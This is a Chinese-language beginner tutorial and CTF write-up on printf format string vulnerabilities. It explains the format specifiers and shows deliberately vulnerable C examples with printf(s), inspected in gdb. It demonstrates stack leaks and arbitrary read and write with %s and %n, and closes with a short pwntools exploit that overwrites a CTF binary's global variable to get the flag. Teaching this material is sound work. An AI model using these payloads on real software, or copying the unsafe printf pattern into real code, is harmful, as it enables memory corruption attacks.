
新手入门pwn,对于各位表哥在writeup中写的格式化字符串漏洞不是很理解,查阅网上资料发现大多都是以printf来深入讲解格式化字符串漏洞的原理,故作此文来探讨printf使用不当产生的漏洞,有不正确的地方,望大佬可以指出来。
printf剖析printf是C语言中的输出函数,包含在头文件stdio.h文件中,功能是按规定格式向输出设备(一般为显示器)输出数据,并返回实际输出的字符数,若出错,则返回负数。printf函数的原型为:
# include <stdio.h>int printf(const char *format, ...);
printf的一般格式有:
1) printf("字符串\n");
2) printf("输出控制符",输出参数);
3) printf("输出控制符1 输出控制符2…", 输出参数1, 输出参数2, …);
4) printf("输出控制符 非输出控制符",输出参数);
由函数原型我们可以知道printf函数的第一个字符指向一个format字符串(格式化字符串),后面再不定的跟着一些参数。常见的格式符如下:
%c:字符%d:十进制整数%x:16进制数据%p:16进制数据,与%x类似,但它输出时会在前面添加一个0x,在32bit下对应4字节,在64bit下对应8字节。%s:字符串,可利用%i$s表示输出偏移i出所指向的字符串。%n:%之前的字符个数。
具体实例参见如下:
#include <stdio.h>int main(){ int a=1; printf("c:%c\n",a); printf("d:%d\n",a); printf("p:%p\n",a); printf("x:%x\n",a); printf("aaaa%n\n",&a); //%n前面有4个字符,因此%将4赋值给了a printf("%d",a); return 0;}
gcc程序编译:
gcc -no-pie -fno-stack-protector -z execstack -g printf_01.c -o 2
./2 运行,输出结果为:
c:d:1p:0x1x:1aaaa4
printf函数是C语言中少数支持可变参数的库函数。当调用者(用户)调用此函数时,被调用者(后面我们用系统指代被调用者)是无法知道在函数调用前到底有多少参数被压入到栈中的。那么当运行call printf 系统是怎么知道该输出多少个参数呢?
format!系统通过判断传入的format参数以指定参数的数量和类型,来进行函数打印,与后面所带的参数无关。当format字符串中所含有的格式符的数量 > 后面传入参数的数量时,多出来的格式符系统依旧会根据%去栈中寻找相应的参数,因此就会造成内存泄漏形成任意地址的读与写。
漏洞利用
1、内存地址泄露
下面我们通过一个例子来了解printf任意地址读与写的前因后果!
#include <stdio.h>#include <string.h>int main(int argc,char **argv) { static int b=1; char s[100]; printf("%p\n",&b);//查看b的地址 //scanf("%s", s);//因为当我们任意地址读时需要利用printf输入地址,而scanf与printf无法一起使用,因而舍弃scanf strcpy(s,argv[1]); printf(s);//漏洞点,s为第一个参数 printf("the values of b is %d\n",b);//查看b的值 return 0;}
printf(s)为漏洞产生点,s为printf的第一个参数,当我们输入参数s含有格式符,此时格式符>传入参数(参数数为0),系统依旧会根据%去栈中寻找相应的参数。下面我们对上面的文件进行编译运行:
gcc -m32 -fno-stack-protector -no-pie -o test6 test6.c
./test6运行。当输入含格式符的字符串
"aaaa.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x"
时,输出一些类似于地址类的数据,那么这些数据是什么呢?会是泄露出来的内存地址吗?咱调试一下究竟!
gdb调试开始!!!我们可以先用 disass main 对主函数进行反汇编一下,在漏洞点printf(s)的call printf下断点,输入c运行程序。
便于查看在printf附近的栈结构,可以发现format字符串所在的地址为0xffffd4dc,printf(s)只有一个参数, 因此format和vararg地址指向的是同一处,此时ESP栈指针指向的是地址0xffffd4c0。
查看$esp向后的栈空间,再次输入c继续运行。观察输出的地址,发现我们输入的格式符("aaaa.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x" )恰好将printf函数format参数地址所在栈空间(0xffffd4c0)-4后的所有地址输出了,造成了内存地址的泄露。且我们输入的第一个字符串aaaa在栈中输出的对应输出的第7个%08x所输出的地址,即距离aaaa的偏移量为7个地址单元。
2、内存地址读与写
地址泄露出来了,那么接下来我们该怎么读取呢? %s !!!%s,以字符串格式输出,当我们输入%i$s 时代表在以字符串格式第 i 个偏移处的内存地址内容,构造任意读输入语句:(PS:%i\$s中反斜线主要是转义)
例如:0x61616161这个地址已经被我们成功的写入到内存(0xffffd4dc)中了,当我们用 "`printf "\xdc\xd4\xff\xff"`.%7\$s" 语句读取内存地址时,将会产生报错,原因是由于该内存地址不可读。
读操作进行完毕,写操作还会远吗?
类似于读操作,只需要将%x换成%n即可。%n会将%之前所有变量的个数复制给一个变量。这里当我们输入 "`printf "\x20\xa0\x04\x08"`.%7\$n" 会将%前面有五个字符,因此%7$n会将5复制给第7个偏移量地址(0xffffd4dc)内容所指向的地址(0x0804a020),有点绕,咱简单画个图解析一下吧!
运行结果如下:
例子说明
利用printf对地址的任意读与写也正是利用了上面的内存泄漏。下面我们通过对一题的分析来具体解读一下printf对地址的任意读与写吧!(具体的文件参见文末。)
先查看一下基本信息:checksec fsb
[*] '/home/giantbranch/test_pwn/0838/CGfsb' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
将文件放入ida中进行查看,伪代码主要部分如下:
puts("please tell me your name:"); read(0, &v4, 0xAu); puts("leave your message please:"); fgets((char *)&v7, 100, stdin); printf("hello %s", &v4); puts("your message is:"); printf((const char *)&v7); //漏洞点,类似于printf(&s),输出的参数来自于puts("leave your message please:")后面输入的参数 if ( pwnme == 8 ) { puts("you pwned me, here is your flag:\n"); system("cat flag"); }
通过伪代码我们可以发现当pwnme值为8时,我们便可以成功获得flag!那么接下来,查看pwnme。
.bss:0804A068 public pwnme.bss:0804A068 pwnme dd ? ; DATA XREF: main+105↑r.bss:0804A068 _bss ends.bss:0804A068
可知变量pwnme处于 .bss段(指用来存放程序中未初始化的或者初始化为0的全局变量和静态变量的一块内存区域),属于全局变量。
分析漏洞点的语句,类似于printf(&s),输出的参数来自于puts("leave your message please:")后面fgets输入的参数,我们可以利用上面printf任意地址读的思路查看读需要的偏移量:(PS:%x是输出16进制数据,08表示宽度,不足8为左边按0补齐)
由输出的堆栈信息,可以发现aaaa在的ascii码在第10个位置被输出了。
确定好了任意读的偏移量,下一步,任意地址写!
在上面我们分析变量pwnme时得出地址为0x0804A068,由此我们可以试着构造exp:
from pwn import *#p=remote('220.249.52.133','34368')p=process('./CGfsb')pwnme_addr=0x0804a068payload=p32(pwnme_addr)+'aaaa%10$n'p.recvuntil('please tell me your name:\n')p.sendline('aaaaaaa')p.recvuntil('leave your message please:\n')p.sendline(payload)#print p.recv()print p.recv()
结果输出:
例子附件:
链接: https://pan.baidu.com/s/1Wb3aSjL6J-dXAl9e18lJ6A 提取码: q927
参考链接:
https://bbs.pediy.com/thread-253638.htm
https://blog.csdn.net/qq_43394612/article/details/84900668
https://www.cnblogs.com/pwn2web/p/12077965.html
https://www.cnblogs.com/ichunqiu/p/9329387.html
▼